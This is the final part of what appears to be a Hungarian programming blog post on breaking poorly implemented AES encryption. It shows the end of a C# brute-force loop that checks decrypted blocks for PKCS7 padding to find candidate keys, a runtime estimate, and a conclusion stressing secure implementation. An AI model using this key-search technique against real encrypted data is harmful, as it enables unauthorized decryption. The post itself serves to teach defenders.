            // Ígéretes utolsó 3 byte van a plaintext végén, további vizsgálat, hogy 
            // tényleg megfelel-e a PKCS7-es paddingnak
            if (hasPaddingLikeEnding)
            {
                bool isGoodCandidate = true;

                // A padding formátuma n, n, ... ,n, n, mindez n-hosszan.
                for (var i = 12; i >= 16 - plaintext[15]; i--)
                {
                    if (plaintext[i] != plaintext[15])
                    {
                        isGoodCandidate = false;
                        break;
                    } // if
                } // for i

                if (isGoodCandidate)
                {
                    DumpCandidate(plaintext, key, sw, counter);
                } // if
            } // if                   
        } // using
    } // while  

    Console.WriteLine("\nFinished after {1:hh\\:mm\\:ss}", sw.Elapsed);
} // main()   

A programot futtatva, a kb 8 órája bekapcsolt számítógépemen indított szerverrel, a következő eredményt kapjuk:

Ebből az is kiszámolható, hogy a teljes kulcstér kipróbálása a nem túl modern gépemen, egy magot kihasználva, a nem ilyen használatra tervezett .NET-es AES implementációval kb hat és fél óráig tartana.

Konklúzió

Ennek a cikknek a célja kettős. Egyrészt próbálta bemutatni, hogy nem kell szédületes tudás ahhoz, hogy az ember hackerkedjen. Másrész, próbálta érzékeltetni, milyen könnyű támadhatóvá tenni a rendszerünket. Talán mindenki számára világossá vált, hogy miért nem elég egyszerűen kiválasztani a legerősebb algoritmusokat, általában ez egy sokadrangú kérdés. A fő kérdés, hogy milyen oldalkapukat hagytunk nyitva implementáció közben.

  1. A szimmetrikus titkosítás megvéd? Nem, ha rosszul használod! - pro C# tology - devPortal

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: